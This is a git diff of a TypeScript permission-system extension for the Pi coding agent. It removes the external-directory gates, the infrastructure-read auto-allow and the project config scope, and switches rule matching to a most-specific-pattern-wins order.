b/pi-permission-system/src/handlers/gates/tool-call-gate-pipeline.ts @@ -17,10 +17,8 @@ import { } from "#src/tool-preview-formatter"; import type { PermissionCheckResult } from "#src/types"; import { resolveBashCommandCheck } from "./bash-command"; -import { describeBashExternalDirectoryGate } from "./bash-external-directory"; import { describeBashPathGate } from "./bash-path"; import type { GateResult } from "./descriptor"; -import { describeExternalDirectoryGate } from "./external-directory"; import { describePathGate } from "./path"; import type { GateRunner } from "./runner"; import { describeSkillReadGate } from "./skill-read"; @@ -41,8 +39,6 @@ import type { GateOutcome, ToolCallContext } from "./types"; export interface ToolCallGateInputs { /** Active skill prompt entries for the skill-read gate. */ getActiveSkillEntries(): SkillPromptEntry[]; - /** Combined infrastructure read directories (static + config-derived). */ - getInfrastructureReadDirs(): string[]; /** Resolved tool-preview formatter options from the current config. */ getToolPreviewLimits(): ToolPreviewFormatterOptions; /** The session's path normalizer (platform + cwd baked in). */ @@ -62,8 +58,7 @@ export interface ToolCallGateInputs { * `PermissionGateHandler`. `evaluate(tcc, runner)` encapsulates: * - bash-command extraction and single `BashProgram.parse` (#308) * - `ToolPreviewFormatter` construction from `getToolPreviewLimits()` - * - infrastructure-dir list from `getInfrastructureReadDirs()` - * - all six gate producers in their prescribed order + * - the configured gate producers in their prescribed order * - the run loop that returns the first block outcome, or allow */ export class ToolCallGatePipeline { @@ -99,8 +94,6 @@ export class ToolCallGatePipeline { this.customFormatters, ); - const infraDirs = this.inputs.getInfrastructureReadDirs(); - const gateProducers: Array<() => GateResult | Promise> = [ () => describeSkillReadGate(tcc, normalizer, () => @@ -108,15 +101,6 @@ export class ToolCallGatePipeline { ), () => describePathGate(tcc, this.resolver, normalizer, this.customExtractors), - () => - describeExternalDirectoryGate( - tcc, - infraDirs, - this.resolver, - normalizer, - this.customExtractors, - ), - () => describeBashExternalDirectoryGate(tcc, bashProgram, this.resolver), () => describeBashPathGate(tcc, bashProgram, this.resolver), () => { const { toolCheck, accessPath } = this.resolvePerToolCheck( diff --git a/pi-permission-system/src/hard-guard-loader.ts b/pi-permission-system/src/hard-guard-loader.ts index 79c92fc..2d13bf0 100644 --- a/pi-permission-system/src/hard-guard-loader.ts +++ b/pi-permission-system/src/hard-guard-loader.ts @@ -90,7 +90,6 @@ export class HardGuardPolicyLoader implements PolicyLoader { return DENY_ALL; } - loadProjectConfig(): ScopeConfig { return EMPTY_SCOPE; } loadAgentConfig(): ScopeConfig { return EMPTY_SCOPE; } loadProjectAgentConfig(): ScopeConfig { return EMPTY_SCOPE; } getConfiguredMcpServerNames(): readonly string[] { return []; } @@ -114,8 +113,6 @@ export class HardGuardPolicyLoader implements PolicyLoader { return { globalConfigPath: this.userPath, globalConfigExists: existsSync(this.userPath), - projectConfigPath: null, - projectConfigExists: false, agentsDir: dirname(this.userPath), agentsDirExists: existsSync(dirname(this.userPath)), projectAgentsDir: null, diff --git a/pi-permission-system/src/index.ts b/pi-permission-system/src/index.ts index dcc709f..d3d42a9 100644 --- a/pi-permission-system/src/index.ts +++ b/pi-permission-system/src/index.ts @@ -1,5 +1,5 @@ import type { ExtensionAPI } from "@earendil-works/pi-coding-agent"; -import { getAgentDir, getPackageDir } from "@earendil-works/pi-coding-agent"; +import { getAgentDir } from "@earendil-works/pi-coding-agent"; import { warmBashParser } from "./access-intent/bash/parser"; import { buildResolvedIntentFromMatchValues } from "./access-intent/input-normalizer"; import { AuthorizerRegistry } from "./authority/authorizer-registry"; @@ -57,9 +57,7 @@ import { ToolInputFormatterRegistry } from "./tool-input-formatter-registry"; export default function piPermissionSystemExtension(pi: ExtensionAPI): void { const agentDir = getAgentDir(); - // getPackageDir() is Pi's own install dir; auto-allow it for read-only tools - // so the agent can read Pi's bundled docs/examples regardless of layout. - const paths = computeExtensionPaths(agentDir, getPackageDir()); + const paths = computeExtensionPaths(agentDir); // The single process.platform read for the whole extension, resolved once // into the path-language flavor that every consumer shares (the session's // PathNormalizer, rule evaluation, and subagent detection). Interior modules @@ -273,8 +271,6 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void { const toolRegistry = { getAll: () => pi.getAllTools(), - getActive: () => pi.getActiveTools(), - setActive: (names: string[]) => pi.setActiveTools(names), }; const audit = new DecisionAudit(); @@ -285,14 +281,9 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void { logger, audit, ); - const agentPrep = new AgentPrepHandler( - session, - resolver, - toolRegistry, - () => { - void warmBashParser(); - }, - ); + const agentPrep = new AgentPrepHandler(session, resolver, () => { + void warmBashParser(); + }); const reporter = new GateDecisionReporter(logger, pi.events); const gateRunner = new GateRunner( diff --git a/pi-permission-system/src/path-normalizer.ts b/pi-permission-system/src/path-normalizer.ts index 9dcea8c..dd483ba 100644 --- a/pi-permission-system/src/path-normalizer.ts +++ b/pi-permission-system/src/path-normalizer.ts @@ -4,12 +4,9 @@ import type { PathFlavor } from "#src/path/path-flavor"; import { AccessPath } from "./access-intent/access-path"; import { - canonicalNormalizePathForComparison, normalizePathForComparison, normalizePathPolicyLiteral, } from "./access-intent/path-normalization"; -import { isPathOutsideWorkingDirectory } from "./path/path-containment"; -import { isPiInfrastructureRead } from "./path/pi-infrastructure-read"; /** * The interpreted effect of a literal `cd` target on the effective base, under @@ -42,15 +39,10 @@ export type BashCdTarget = * `path-containment` / `path-normalization` / `AccessPath` primitives. */ export class PathNormalizer { - /** Canonical form of the baked cwd, resolved once (the symlink target is stable per session). */ - private readonly canonicalCwd: string; - constructor( readonly flavor: PathFlavor, private readonly cwd: string, - ) { - this.canonicalCwd = canonicalNormalizePathForComparison(cwd, cwd, flavor); - } + ) {} /** Build an AccessPath for a token, resolved against `resolveBase` (default cwd). */ forPath(pathValue: string, options?: { resolveBase?: string }): AccessPath { @@ -144,65 +136,14 @@ export class PathNormalizer { return this.flavor.isWithin(pathValue, directory); } - /** Canonical (symlink-resolved) outside-cwd test against the baked cwd. */ - isOutsideWorkingDirectory(pathValue: string): boolean { - const canonicalPath = canonicalNormalizePathForComparison( - pathValue, - this.cwd, - this.flavor, - ); - return isPathOutsideWorkingDirectory( - canonicalPath, - this.canonicalCwd, - this.flavor, - ); - } - /** - * Outside-cwd test for an already-canonical boundary value (from - * {@link AccessPath.boundaryValue}), against the baked cwd. - * - * Unlike {@link isOutsideWorkingDirectory}, it does not re-derive the - * canonical form — the caller passes a value the {@link AccessPath} already - * canonicalized, so a device's preserved `/dev/null` reaches the pure check's - * `isSafeSystemPath` exclusion intact. - */ - isBoundaryOutsideWorkingDirectory(canonicalPath: string): boolean { - return isPathOutsideWorkingDirectory( - canonicalPath, - this.canonicalCwd, - this.flavor, - ); - } - - /** - * Lexical (not symlink-resolved) comparison value, resolved against the baked - * cwd. Mirrors the as-typed absolute form used for skill-prompt matching; - * touches no filesystem, unlike {@link forPath}'s canonical alias. + * Lexical comparison value resolved against the configured cwd. + * This does not classify project boundaries or touch the filesystem. */ comparableValue(pathValue: string): string { return normalizePathForComparison(pathValue, this.cwd, this.flavor); } - /** - * Pi infrastructure-read containment for a read-only tool, decided against - * the canonical (symlink-resolved) path and the baked cwd/flavor. Takes the - * already-built {@link AccessPath} so the caller does not re-resolve it. - */ - isInfrastructureRead( - toolName: string, - accessPath: AccessPath, - infraDirs: readonly string[], - ): boolean { - return isPiInfrastructureRead( - toolName, - accessPath.boundaryValue(), - infraDirs, - this.cwd, - this.flavor, - ); - } - /** * True when `absolutePath` names an existing filesystem entry. * diff --git a/pi-permission-system/src/path/pi-infrastructure-read.ts b/pi-permission-system/src/path/pi-infrastructure-read.ts deleted file mode 100644 index d1adcbf..0000000 --- a/pi-permission-system/src/path/pi-infrastructure-read.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { join } from "node:path"; -import { READ_ONLY_PATH_BEARING_TOOLS } from "#src/access-intent/path-surfaces"; -import { expandHomePath } from "#src/expand-home"; -import type { PathFlavor } from "#src/path/path-flavor"; -import { wildcardMatch } from "#src/wildcard-matcher"; - -function containsGlobChars(value: string): boolean { - return value.includes("*") || value.includes("?"); -} - -/** - * Returns true if the given tool + normalized path combination qualifies for - * automatic allow as a Pi infrastructure read. - * - * A path qualifies when: - * 1. The tool is read-only (in READ_ONLY_PATH_BEARING_TOOLS). - * 2. The normalized path is within one of the provided `infrastructureDirs` - * OR within the project-local Pi package directories - * (`/.pi/npm/` or `/.pi/git/`). - * - * `infrastructureDirs` entries may be absolute paths or patterns containing - * `~`/`$HOME` (expanded at call time) or glob characters (`*`, `?`). - * Project-local paths are computed fresh from `cwd` on each call so they - * follow working-directory changes without a runtime rebuild. - */ -export function isPiInfrastructureRead( - toolName: string, - normalizedPath: string, - infrastructureDirs: readonly string[], - cwd: string, - flavor: PathFlavor, -): boolean { - if (!READ_ONLY_PATH_BEARING_TOOLS.has(toolName)) { - return false; - } - - // On Windows the path value is canonicalized + lowercased; the flavor's match - // options fold case (and separators) so mixed-case infra dirs and glob - // patterns still match. - for (const dir of infrastructureDirs) { - if (containsGlobChars(dir)) { - if (wildcardMatch(dir, normalizedPath, flavor.matchOptions)) return true; - } else { - if (flavor.isWithin(normalizedPath, expandHomePath(dir))) return true; - } - } - - // Project-local Pi packages — checked fresh every call so CWD changes work. - const projectNpmDir = join(cwd, ".pi", "npm"); - const projectGitDir = join(cwd, ".pi", "git"); - if (flavor.isWithin(normalizedPath, projectNpmDir)) { - return true; - } - if (flavor.isWithin(normalizedPath, projectGitDir)) { - return true; - } - - return false; -} diff --git a/pi-permission-system/src/pattern-suggest.ts b/pi-permission-system/src/pattern-suggest.ts index 76506b9..defe162 100644 --- a/pi-permission-system/src/pattern-suggest.ts +++ b/pi-permission-system/src/pattern-suggest.ts @@ -100,8 +100,6 @@ function buildLabel(pattern: string, surface: string): string { return `Yes, allow mcp tool "${pattern}" for this session`; case "skill": return `Yes, allow skill "${pattern}" for this session`; - case "external_directory": - return `Yes, allow access to external directory "${pattern}" for this session`; case "path": return `Yes, allow path "${pattern}" for this session`; default: @@ -140,9 +138,6 @@ export function suggestSessionPattern( case "skill": pattern = value; break; - case "external_directory": - pattern = deriveApprovalPattern(value); - break; case "path": pattern = deriveApprovalPattern(value); break; diff --git a/pi-permission-system/src/permission-events.ts b/pi-permission-system/src/permission-events.ts index cb70590..e34f59e 100644 --- a/pi-permission-system/src/permission-events.ts +++ b/pi-permission-system/src/permission-events.ts @@ -105,7 +105,6 @@ export type PermissionDecisionResolution = | "policy_allow" | "policy_deny" | "session_approved" - | "infrastructure_auto_allowed" | "user_approved" | "user_approved_for_session" | "user_denied" @@ -120,7 +119,7 @@ export interface PermissionDecisionEvent { * runs several gates and so raises several requests. */ requestId: string; - /** Permission surface: "bash", "read", "mcp", "skill", "external_directory", etc. */ + /** Permission surface: "bash", "read", "mcp", "skill", "path", etc. */ surface: string; /** The value that was evaluated (command, tool name, skill name, path). */ value: string; diff --git a/pi-permission-system/src/permission-manager.ts b/pi-permission-system/src/permission-manager.ts index acf3b7e..f47bda2 100644 --- a/pi-permission-system/src/permission-manager.ts +++ b/pi-permission-system/src/permission-manager.ts @@ -3,11 +3,7 @@ import type { ResolvedAccessIntent } from "./access-intent/access-intent"; import { normalizeInput } from "./access-intent/input-normalizer"; import { PATH_SURFACES } from "./access-intent/path-surfaces"; import { classifyToolKind } from "./access-intent/tool-kind"; -import { - getGlobalConfigPath, - getProjectAgentsDir, - getProjectConfigPath, -} from "./config-paths"; +import { getGlobalConfigPath, getProjectAgentsDir } from "./config-paths"; import { normalizeFlatConfig } from "./normalize"; import { type PathFlavor, posixPathFlavor } from "./path/path-flavor"; import { @@ -37,7 +33,7 @@ import type { } from "./types"; import { isPermissionState } from "./types"; -const SPECIAL_PERMISSION_KEYS = new Set(["external_directory", "path"]); +const SPECIAL_PERMISSION_KEYS = new Set(["path"]); /** Universal fallback when permission["*"] is absent from all scopes. */ const DEFAULT_UNIVERSAL_FALLBACK: PermissionState = "ask"; @@ -176,7 +172,6 @@ export class PermissionManager implements ScopedPermissionManager { } const globalConfig = this.loader.loadGlobalConfig(); - const projectConfig = this.loader.loadProjectConfig(); const agentConfig = this.loader.loadAgentConfig(agentName); const projectAgentConfig = this.loader.loadProjectAgentConfig(agentName); @@ -185,7 +180,6 @@ export class PermissionManager implements ScopedPermissionManager { // (surface, pattern) entry. const { mergedPermission, origins } = mergeScopesWithOrigins([ ["global", globalConfig], - ["project", projectConfig], ["agent", agentConfig], ["project-agent", projectAgentConfig], ]); @@ -227,7 +221,6 @@ export class PermissionManager implements ScopedPermissionManager { // higher scope meant to tighten policy cannot silently fail open (#646). // Global is excluded — nothing more permissive is inherited when it fails. const failClosedScopes: RuleOrigin[] = []; - if (projectConfig.invalid === true) failClosedScopes.push("project"); if (agentConfig.invalid === true) failClosedScopes.push("agent"); if (projectAgentConfig.invalid === true) failClosedScopes.push("project-agent"); @@ -333,8 +326,8 @@ export class PermissionManager implements ScopedPermissionManager { /** * Evaluate a normalized surface/values triple and shape the result. * - * Path surfaces use {@link evaluateAnyValue} (last-match-wins across equivalent - * aliases); every other surface keeps {@link evaluateFirst}. Shared by the + * Path surfaces use {@link evaluateAnyValue} (most-specific match across + * equivalent aliases); every other surface keeps {@link evaluateFirst}. Shared by the * `"tool"` and `"path-values"` branches of {@link PermissionManager.check}. */ function buildCheckResult( @@ -383,7 +376,6 @@ function derivePolicyLoaderOptions( return { globalConfigPath: getGlobalConfigPath(agentDir), agentsDir: join(agentDir, "agents"), - projectGlobalConfigPath: cwd ? getProjectConfigPath(cwd) : undefined, projectAgentsDir: cwd ? getProjectAgentsDir(cwd) : undefined, }; } diff --git a/pi-permission-system/src/permission-session.ts b/pi-permission-system/src/permission-session.ts index 2d1e397..e214620 100644 --- a/pi-permission-system/src/permission-session.ts +++ b/pi-permission-system/src/permission-session.ts @@ -42,7 +42,7 @@ export class PermissionSession implements ToolCallGateInputs { private pathNormalizer: PathNormalizer; constructor( - private readonly paths: ExtensionPaths, + _paths: ExtensionPaths, private readonly forwarding: ForwardingController, private readonly permissionManager: ScopedPermissionManager, private readonly sessionRules: SessionRules, @@ -199,19 +199,6 @@ export class PermissionSession implements ToolCallGateInputs { return this.configStore.current(); } - // ── Infrastructure paths ─────────────────────────────────────────────── - - /** - * Combined infrastructure read directories: static paths from - * `ExtensionPaths` plus config-derived paths. - */ - getInfrastructureReadDirs(): string[] { - return [ - ...this.paths.piInfrastructureDirs, - ...(this.config.piInfrastructureReadPaths ?? []), - ]; - } - /** * Resolved tool-preview formatter options from the current config. * diff --git a/pi-permission-system/src/policy-loader.ts b/pi-permission-system/src/policy-loader.ts index 3153e79..66ac82b 100644 --- a/pi-permission-system/src/policy-loader.ts +++ b/pi-permission-system/src/policy-loader.ts @@ -67,8 +67,6 @@ function getConfiguredMcpServerNamesFromPaths( export interface ResolvedPolicyPaths { globalConfigPath: string; globalConfigExists: boolean; - projectConfigPath: string | null; - projectConfigExists: boolean; agentsDir: string; agentsDirExists: boolean; projectAgentsDir: string | null; @@ -87,7 +85,6 @@ export interface ResolvedPolicyPaths { */ export interface PolicyLoader { loadGlobalConfig(): ScopeConfig; - loadProjectConfig(): ScopeConfig; loadAgentConfig(agentName?: string): ScopeConfig; loadProjectAgentConfig(agentName?: string): ScopeConfig; getConfiguredMcpServerNames(): readonly string[]; @@ -130,7 +127,6 @@ type FileCacheEntry = { export interface PolicyLoaderOptions { globalConfigPath?: string; agentsDir?: string; - projectGlobalConfigPath?: string; projectAgentsDir?: string; globalMcpConfigPath?: string; mcpServerNames?: readonly string[]; @@ -147,13 +143,11 @@ export interface PolicyLoaderOptions { export class FilePolicyLoader implements PolicyLoader { private readonly globalConfigPath: string; private readonly agentsDir: string; - private readonly projectGlobalConfigPath: string | null; private readonly projectAgentsDir: string | null; private readonly globalMcpConfigPath: string; private readonly configuredMcpServerNamesOverride: readonly string[] | null; private globalConfigCache: FileCacheEntry | null = null; - private projectGlobalConfigCache: FileCacheEntry | null = null; private readonly agentConfigCache = new Map< string, FileCacheEntry @@ -171,7 +165,6 @@ export class FilePolicyLoader implements PolicyLoader { this.globalConfigPath = options.globalConfigPath ?? defaultGlobalConfigPath(); this.agentsDir = options.agentsDir ?? defaultAgentsDir(); - this.projectGlobalConfigPath = options.projectGlobalConfigPath ?? null; this.projectAgentsDir = options.projectAgentsDir ?? null; this.globalMcpConfigPath = options.globalMcpConfigPath ?? defaultGlobalMcpConfigPath(); @@ -219,29 +212,6 @@ export class FilePolicyLoader implements PolicyLoader { return value; } - loadProjectConfig(): ScopeConfig { - if (!this.projectGlobalConfigPath) { - return {}; - } - - const stamp = getFileStamp(this.projectGlobalConfigPath); - if (this.projectGlobalConfigCache?.stamp === stamp) { - return this.projectGlobalConfigCache.value; - } - - const { config, issues } = loadUnifiedConfig(this.projectGlobalConfigPath); - this.accumulateConfigIssues(issues); - - // A present-but-rejected file yields issues (parse error or schema - // rejection); an absent file yields none. Fail closed on the former. - const value: ScopeConfig = { - permission: config.permission, - ...(issues.length > 0 ? { invalid: true } : {}), - }; - - this.projectGlobalConfigCache = { stamp, value }; - return value; - } private loadScopeConfigFrom( dir: string | null, @@ -335,15 +305,12 @@ export class FilePolicyLoader implements PolicyLoader { const agentStamp = agentName ? getFileStamp(join(this.agentsDir, `${agentName}.md`)) : "missing"; - const projectStamp = this.projectGlobalConfigPath - ? getFileStamp(this.projectGlobalConfigPath) - : "none"; const projectAgentStamp = this.projectAgentsDir && agentName ? getFileStamp(join(this.projectAgentsDir, `${agentName}.md`)) : "none"; - return `${getFileStamp(this.globalConfigPath)}|${projectStamp}|${agentStamp}|${projectAgentStamp}`; + return `${getFileStamp(this.globalConfigPath)}|${agentStamp}|${projectAgentStamp}`; } // ── Resolved paths ──────────────────────────────────────────────────── @@ -352,10 +319,6 @@ export class FilePolicyLoader implements PolicyLoader { return { globalConfigPath: this.globalConfigPath, globalConfigExists: existsSync(this.globalConfigPath), - projectConfigPath: this.projectGlobalConfigPath, - projectConfigExists: this.projectGlobalConfigPath - ? existsSync(this.projectGlobalConfigPath) - : false, agentsDir: this.agentsDir, agentsDirExists: existsSync(this.agentsDir), projectAgentsDir: this.projectAgentsDir, diff --git a/pi-permission-system/src/presentation/fact-vocabulary.ts b/pi-permission-system/src/presentation/fact-vocabulary.ts index 140f5f0..6dfc2cc 100644 --- a/pi-permission-system/src/presentation/fact-vocabulary.ts +++ b/pi-permission-system/src/presentation/fact-vocabulary.ts @@ -1,7 +1,4 @@ -import { - allEvidence, - type PromptPayload, -} from "#src/presentation/prompt-payload"; +import type { PromptPayload } from "#src/presentation/prompt-payload"; import type { BashCommandContext } from "#src/types"; /** @@ -24,37 +21,24 @@ import type { BashCommandContext } from "#src/types"; * operator is ruling on. */ export function flaggedElements(payload: PromptPayload): readonly string[] { - if (payload.kind === "bash_external_directory") { - return allEvidence(payload, "external path").map((entry) => entry.text); - } return payload.request.value === "" ? [] : [payload.request.value]; } -/** - * What {@link flaggedElements} returns is called. - * - * Differs from {@link valueLabel} for exactly one shape: a bash ask that - * escaped the working directory flags paths while its value is the command, - * so the two nouns are for two different things. - */ +/** What {@link flaggedElements} returns is called. */ export function flaggedElementLabel(payload: PromptPayload): string { - return payload.kind === "bash_external_directory" - ? "path" - : valueLabel(payload); + return valueLabel(payload); } /** What the decision-relevant value is called, per ask shape. */ export function valueLabel(payload: PromptPayload): string { switch (payload.kind) { case "bash": - case "bash_external_directory": return "command"; case "mcp": return "target"; case "tool": return "tool"; case "path": - case "external_directory": return "path"; case "skill": case "skill_read": diff --git a/pi-permission-system/src/presentation/path-ask-payload.ts b/pi-permission-system/src/presentation/path-ask-payload.ts index 0feef4d..c4f7540 100644 --- a/pi-permission-system/src/presentation/path-ask-payload.ts +++ b/pi-permission-system/src/presentation/path-ask-payload.ts @@ -1,101 +1,20 @@ -import type { - PromptEvidence, - PromptPayload, -} from "#src/presentation/prompt-payload"; +import type { PromptPayload } from "#src/presentation/prompt-payload"; import { localRequester } from "#src/presentation/prompt-payload"; -/** A displayed external path paired with its resolved target, when distinct. */ -export interface ExternalPathDisclosure { - /** The path as displayed (typed for tools, lexical-absolute for bash). */ - path: string; - /** The canonical symlink-resolved target; present only when it differs. */ - resolvedPath?: string; -} - -/** The facts a path-shaped gate holds when it raises an ask. */ interface PathAskFacts { toolName: string; - /** The path as the caller typed it — what the user recognizes. */ pathValue: string; agentName: string | null; matchedPattern?: string; } -/** A tool ask gated by an explicit `path` rule. */ +/** Build the prompt payload for an explicit cross-cutting `path` ask. */ export function buildPathAskPayload(facts: PathAskFacts): PromptPayload { - return pathPayload("path", "path", facts, []); -} - -/** The facts the external-directory gate adds: the boundary and the alias. */ -interface ExternalDirectoryAskFacts extends PathAskFacts { - /** The canonical location, when it names somewhere other than the typed path. */ - resolvedPath?: string; - /** The working directory the path escapes. */ - cwd: string; -} - -/** A tool ask for a path outside the working directory. */ -export function buildExternalDirectoryAskPayload( - facts: ExternalDirectoryAskFacts, -): PromptPayload { - return pathPayload("external_directory", "external_directory", facts, [ - ...resolvedAliasEvidence(facts.resolvedPath), - workingDirectoryEvidence(facts.cwd), - ]); -} - -/** The facts the bash external-directory gate holds: one command, many paths. */ -interface BashExternalDirectoryAskFacts { - command: string; - /** Every uncovered path the command references, with its canonical alias. */ - externalPaths: readonly ExternalPathDisclosure[]; - cwd: string; - agentName: string | null; - toolName: string; - matchedPattern?: string; -} - -/** A bash ask whose command references paths outside the working directory. */ -export function buildBashExternalDirectoryAskPayload( - facts: BashExternalDirectoryAskFacts, -): PromptPayload { return { - kind: "bash_external_directory", + kind: "path", request: { requester: localRequester(facts.agentName), - surface: "external_directory", - toolName: facts.toolName, - invokedToolName: null, - value: facts.command, - matchedPattern: facts.matchedPattern ?? null, - commandContext: null, - executedUnit: null, - }, - evidence: [ - workingDirectoryEvidence(facts.cwd), - ...facts.externalPaths.map(externalPathEvidence), - ], - annotations: [], - }; -} - -// ── Shared shape ──────────────────────────────────────────────────────────── - -/** - * The payload common to the single-path asks: the typed path is the - * decision-relevant value, and the gate surface distinguishes them. - */ -function pathPayload( - kind: "path" | "external_directory", - surface: string, - facts: PathAskFacts, - evidence: PromptEvidence[], -): PromptPayload { - return { - kind, - request: { - requester: localRequester(facts.agentName), - surface, + surface: "path", toolName: facts.toolName, invokedToolName: null, value: facts.pathValue, @@ -103,33 +22,7 @@ function pathPayload( commandContext: null, executedUnit: null, }, - evidence, + evidence: [], annotations: [], }; } - -/** - * The canonical location, as its own entry rather than folded into the value: - * the user decides on the path they typed, and the alias is what that path - * turns out to name. - */ -function resolvedAliasEvidence(resolvedPath?: string): PromptEvidence[] { - return resolvedPath === undefined - ? [] - : [{ label: "resolves to", text: resolvedPath, detail: null }]; -} - -function workingDirectoryEvidence(cwd: string): PromptEvidence { - return { label: "working directory", text: cwd, detail: null }; -} - -/** - * One escaping path. The canonical alias rides as the entry's `detail` so a - * render cannot separate a path from what it resolves to. - */ -function externalPathEvidence({ - path, - resolvedPath, -}: ExternalPathDisclosure): PromptEvidence { - return { label: "external path", text: path, detail: resolvedPath ?? null }; -} diff --git a/pi-permission-system/src/presentation/prompt-payload.ts b/pi-permission-system/src/presentation/prompt-payload.ts index 035e47e..fb2f724 100644 --- a/pi-permission-system/src/presentation/prompt-payload.ts +++ b/pi-permission-system/src/presentation/prompt-payload.ts @@ -20,9 +20,8 @@ export interface PromptPayload { /** * Which ask this payload describes — the renderers' dispatch discriminant. * - * Present because the ask shapes are not separable by surface alone: a tool - * external-directory ask and a bash one share the `external_directory` surface, - * and the `path` gate and the per-tool gate differ only in wording. It gives + * Present because the `path` gate and the per-tool gate differ only in + * wording. It gives * every renderer an exhaustive switch rather than a set of string comparisons a * new variant sails past — which is what let the parallel denial-context union * ADR 0011 §7 described dissolve into this one (#746). @@ -32,8 +31,6 @@ export type PromptPayloadKind = | "mcp" | "tool" | "path" - | "external_directory" - | "bash_external_directory" | "skill" | "skill_read" | "forwarded"; @@ -126,8 +123,6 @@ const PROMPT_PAYLOAD_KINDS = [ "mcp", "tool", "path", - "external_directory", - "bash_external_directory", "skill", "skill_read", "forwarded", diff --git a/pi-permission-system/src/rule.ts b/pi-permission-system/src/rule.ts index ea2e1c1..62448b5 100644 --- a/pi-permission-system/src/rule.ts +++ b/pi-permission-system/src/rule.ts @@ -28,7 +28,7 @@ export type RuleOrigin = /** A single permission rule — the atomic unit of policy. */ export interface Rule { - /** The permission surface: "bash", "read", "mcp", "skill", "external_directory", etc. */ + /** The permission surface: "bash", "read", "mcp", "skill", "path", etc. */ surface: string; /** The match pattern: a command glob, tool name, skill name, or "*". */ pattern: string; @@ -45,7 +45,7 @@ export interface Rule { origin: RuleOrigin; } -/** An ordered list of rules. Later rules take priority (last-match-wins). */ +/** Rules evaluated by pattern specificity; declaration order breaks exact ties. */ export type Ruleset = Rule[]; /** @@ -91,8 +91,10 @@ export function floorAllowsToAsk(rules: Ruleset): Ruleset { /** * Pure permission evaluation. * - * Returns the last rule in `rules` whose surface and pattern both - * wildcard-match the supplied values (last-match-wins). + * Among matching rules, the most specific pattern wins. Specificity is ordered + * by exact patterns first, then more literal characters, then fewer wildcards, + * then longer patterns. Declaration order is only the final tie-breaker, where + * the later rule wins. * * When no rule matches, returns a synthetic rule with `defaultAction` * (defaults to "ask" — least privilege). @@ -104,7 +106,12 @@ export function evaluate( flavor: PathFlavor, defaultAction?: PermissionState, ): Rule { - const rule = rules.findLast((r) => ruleMatches(r, surface, pattern, flavor)); + const rule = findMostSpecificMatchingRule( + surface, + [pattern], + rules, + flavor, + ); if (rule !== undefined) return rule; return { surface, @@ -139,10 +146,62 @@ function ruleMatches( ); } +interface PatternSpecificity { + exact: number; + literalCharacters: number; + wildcardCount: number; + length: number; +} + +function patternSpecificity(pattern: string): PatternSpecificity { + const wildcardCount = [...pattern].filter((character) => character === "*").length; + return { + exact: wildcardCount === 0 ? 1 : 0, + literalCharacters: pattern.length - wildcardCount, + wildcardCount, + length: pattern.length, + }; +} + +/** Positive means `candidate` is more specific than `current`. */ +function comparePatternSpecificity(candidate: string, current: string): number { + const left = patternSpecificity(candidate); + const right = patternSpecificity(current); + if (left.exact !== right.exact) return left.exact - right.exact; + if (left.literalCharacters !== right.literalCharacters) { + return left.literalCharacters - right.literalCharacters; + } + if (left.wildcardCount !== right.wildcardCount) { + return right.wildcardCount - left.wildcardCount; + } + return left.length - right.length; +} + +function findMostSpecificMatchingRule( + surface: string, + values: readonly string[], + rules: Ruleset, + flavor: PathFlavor, +): Rule | undefined { + let best: Rule | undefined; + for (const rule of rules) { + if (!values.some((value) => ruleMatches(rule, surface, value, flavor))) { + continue; + } + if ( + best === undefined || + comparePatternSpecificity(rule.pattern, best.pattern) >= 0 + ) { + best = rule; + } + } + return best; +} + /** * Evaluate a surface against an ordered list of candidate values, stopping at - * the first candidate that matches a non-default rule (last-match-wins within - * each candidate, first-non-default-wins across candidates). + * the first candidate that matches a non-default rule. Pattern specificity is + * resolved independently for each candidate. * * Used by MCP (multi-candidate target list) and, uniformly, by all other * surfaces (single-element candidate list). @@ -203,10 +262,9 @@ export function evaluateFirst( /** * Evaluate equivalent lookup values as aliases of the same path. * - * Unlike `evaluateFirst()`, this preserves rule ordering across aliases: the - * last rule that matches any alias wins. This lets absolute allowlists and - * legacy relative rules coexist without a catch-all match on the first alias - * masking a later, more specific rule on another alias. + * Pattern specificity is resolved across every alias together, so a broad + * catch-all on one alias cannot mask a more specific rule on another alias. + * Declaration order remains the final tie-breaker. */ export function evaluateAnyValue( surface: string, @@ -215,9 +273,7 @@ export function evaluateAnyValue( flavor: PathFlavor, ): { rule: Rule; value: string } { const fallbackValue = values[0] ?? "*"; - const rule = rules.findLast((r) => - values.some((value) => ruleMatches(r, surface, value, flavor)), - ); + const rule = findMostSpecificMatchingRule(surface, values, rules, flavor); if (rule !== undefined) { return { rule, diff --git a/pi-permission-system/src/service.ts b/pi-permission-system/src/service.ts index 889b09d..b97c81e 100644 --- a/pi-permission-system/src/service.ts +++ b/pi-permission-system/src/service.ts @@ -75,8 +75,8 @@ export interface PermissionQuery { /** * Query the permission policy for a surface and value. * - * @param surface - Permission surface: "bash", "read", "mcp", "skill", - * "external_directory", etc. + * @param surface - Permission surface such as "bash", "read", "mcp", + * "skill", or "path". * @param value - The value to evaluate: command string, tool name, skill * name, or path. Omit or pass `undefined` for a * surface-level query. @@ -134,7 +134,7 @@ export interface PermissionsService extends PermissionQuery { * Register a custom access-intent extractor for a specific tool name. * * The extractor declares the filesystem path a tool will access so the - * cross-cutting `path` and `external_directory` gates can see it. Use it for + * cross-cutting `path` gate can see it. Use it for * tools whose path lives under a non-standard key — built-in file tools and * any tool exposing `input.path` (plus MCP via `input.arguments.path`) are * already covered by convention without registration. @@ -163,11 +163,11 @@ export interface PermissionsService extends PermissionQuery { * handler so registration is robust to load order and survives `/reload`. * * Registration alone grants **no authority**: the link decides nothing until - * the operator names it in the `authorizerChain` config (opt-in activation), - * and the chain owner caps every verdict with the bounded-delegation - * checkpoint (an `allow` on an excluded surface downgrades to `defer`). Only - * one link may be registered per name — a second call for the same name - * throws. The returned disposer unregisters the link. + * the operator names it in `authorizerChain` (opt-in activation). Once named, + * its `allow` or `deny` verdict is final for any ordinary-policy `ask`, including + * `path`; `defer` advances to the next link or terminal. Only one link may be + * registered per name — a second call throws. The returned disposer unregisters + * the link. * * @param name - Operator-facing link name referenced from `authorizerChain`. * @param authorize - The link's decision callback diff --git a/pi-permission-system/src/synthesize.ts b/pi-permission-system/src/synthesize.ts index fc00efc..c8b3bcd 100644 --- a/pi-permission-system/src/synthesize.ts +++ b/pi-permission-system/src/synthesize.ts @@ -7,9 +7,9 @@ import type { PermissionState } from "./types"; * Produces one rule: * `{ surface: "*", pattern: "*", action: universalDefault, layer: "default" }` * - * 